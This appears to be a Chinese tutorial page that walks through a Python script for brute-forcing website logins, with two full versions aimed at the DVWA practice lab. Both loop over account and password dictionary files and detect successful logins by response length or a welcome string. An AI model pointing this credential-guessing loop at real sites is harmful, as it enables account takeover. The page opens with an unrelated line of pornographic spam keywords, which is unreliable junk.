亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

Python破解網(wǎng)站登錄密碼腳本

 更新時(shí)間:2022年01月14日 09:45:29   作者:陳程  
這篇文章主要為大家介紹一個(gè)簡(jiǎn)單的Python暴力破解網(wǎng)站登錄密碼腳本,文中的過(guò)程講解詳細(xì),對(duì)我們學(xué)習(xí)Python有一定的幫助,感興趣的可以學(xué)習(xí)一下

測(cè)試靶機(jī)為DVWA,適合DVWA暴力破解模塊的Low和Medium等級(jí)

關(guān)鍵代碼解釋

url指定url地址

url?=?"http://192.168.171.2/dvwa/vulnerabilities/brute/"

header設(shè)置請(qǐng)求頭

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload設(shè)置請(qǐng)求參數(shù)

payload?=?{'username':username,'password':password,"Login":'Login'}

這一行的作用是作一次get請(qǐng)求,響應(yīng)信息被變量Response接收

Response?=?requests.get(url,params=payload,headers=header)

這兩行代碼循環(huán)遍歷賬號(hào)和密碼字典文件,之后給他們做笛卡爾積循環(huán)暴力破解

這種方式和burp的Intruder模塊的Cluster bomb攻擊方式一樣

for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):

然后把循環(huán)結(jié)果存放到csv文件里,用逗號(hào)分割數(shù)據(jù)

Response.status_code是響應(yīng)的http狀態(tài)碼,len(Response.content)是http響應(yīng)報(bào)文的長(zhǎng)度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代碼

方法一

登陸成功的和失敗返回?cái)?shù)據(jù)不同,所以數(shù)據(jù)包長(zhǎng)度也不同。包長(zhǎng)度與其他不同的數(shù)據(jù),可能就是正確的賬號(hào)密碼。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長(zhǎng)度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

運(yùn)行結(jié)果

運(yùn)行

這就是腳本發(fā)送的數(shù)據(jù)包

查看結(jié)果

查看包長(zhǎng)度與其他不同的數(shù)據(jù),登錄測(cè)試

方法二

這個(gè)方法是根據(jù)登陸成功的返回特征來(lái)判斷是否為正確的賬號(hào)密碼,然后把正確的賬號(hào)密碼輸出到屏幕和txt文件里

主要改動(dòng)在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號(hào).txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

運(yùn)行結(jié)果

到此這篇關(guān)于Python破解網(wǎng)站登錄密碼腳本的文章就介紹到這了,更多相關(guān)Python破解網(wǎng)站登錄密碼內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • OpenCV3.0+Python3.6實(shí)現(xiàn)特定顏色的物體追蹤

    OpenCV3.0+Python3.6實(shí)現(xiàn)特定顏色的物體追蹤

    這篇文章主要為大家詳細(xì)介紹了OpenCV3.0+Python3.6實(shí)現(xiàn)特定顏色的物體追蹤,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2019-07-07
  • 基于Python實(shí)現(xiàn)船舶的MMSI的獲取(推薦)

    基于Python實(shí)現(xiàn)船舶的MMSI的獲取(推薦)

    工作中遇到一個(gè)需求,需要通過(guò)網(wǎng)站查詢船舶名稱得到MMSI碼,網(wǎng)站來(lái)自船訊網(wǎng)。這篇文章主要介紹了基于Python實(shí)現(xiàn)船舶的MMSI的獲取,需要的朋友可以參考下
    2019-10-10
  • pytorch教程之Tensor的值及操作使用學(xué)習(xí)

    pytorch教程之Tensor的值及操作使用學(xué)習(xí)

    這篇文章主要為大家介紹了pytorch教程中關(guān)于Tensor的操作使用,有需要的朋友可以借鑒參考下,希望可以有所幫助,祝大家升職加薪,共同進(jìn)步
    2021-09-09
  • Python的Geopy庫(kù)處理地理編碼與位置信息

    Python的Geopy庫(kù)處理地理編碼與位置信息

    地理編碼和位置信息在現(xiàn)代應(yīng)用中扮演著重要角色,本文主要介紹了Python的Geopy庫(kù)處理地理編碼與位置信息,具有一定的參考價(jià)值,感興趣的可以了解一下
    2023-12-12
  • Python中ConfigParser模塊示例詳解

    Python中ConfigParser模塊示例詳解

    有些時(shí)候在項(xiàng)目中,使用配置文件來(lái)配置一些靈活的參數(shù)是比較常見(jiàn)的事,因?yàn)檫@會(huì)使得代碼的維護(hù)變得更方便,而ini配置文件是比較常用的一種,今天介紹用ConfigParser模塊來(lái)解析ini配置文件,感興趣的朋友一起看看吧
    2023-01-01
  • Django Admin設(shè)置應(yīng)用程序及模型順序方法詳解

    Django Admin設(shè)置應(yīng)用程序及模型順序方法詳解

    這篇文章主要介紹了Django Admin設(shè)置應(yīng)用程序及模型順序方法詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-04-04
  • Python+Qt相片更換背景顏色窗體程序的步驟詳解

    Python+Qt相片更換背景顏色窗體程序的步驟詳解

    QT+Python是非常經(jīng)典的窗體編程組合,功能完善,可視化界面美觀易維護(hù),這篇博客針對(duì)相片更換背景顏色方面編寫(xiě)代碼,代碼整潔,規(guī)則,易讀,對(duì)學(xué)習(xí)與使用Python有較好的幫助,需要的朋友可以參考下
    2022-12-12
  • 基于python實(shí)現(xiàn)判斷字符串是否數(shù)字算法

    基于python實(shí)現(xiàn)判斷字符串是否數(shù)字算法

    這篇文章主要介紹了基于python實(shí)現(xiàn)判斷字符串是否數(shù)字算法,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-07-07
  • python嵌套try...except如何使用詳解

    python嵌套try...except如何使用詳解

    有時(shí)候我們寫(xiě)程序的時(shí)候,會(huì)出現(xiàn)一些錯(cuò)誤或異常,導(dǎo)致程序終止,使用try…except,這樣程序就不會(huì)因?yàn)楫惓6袛?下面這篇文章主要給大家介紹了關(guān)于python嵌套try...except如何使用的相關(guān)資料,需要的朋友可以參考下
    2022-08-08
  • Python中的內(nèi)置函數(shù)isdigit()

    Python中的內(nèi)置函數(shù)isdigit()

    這篇文章主要介紹了Python中的內(nèi)置函數(shù)isdigit(),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-11-11

最新評(píng)論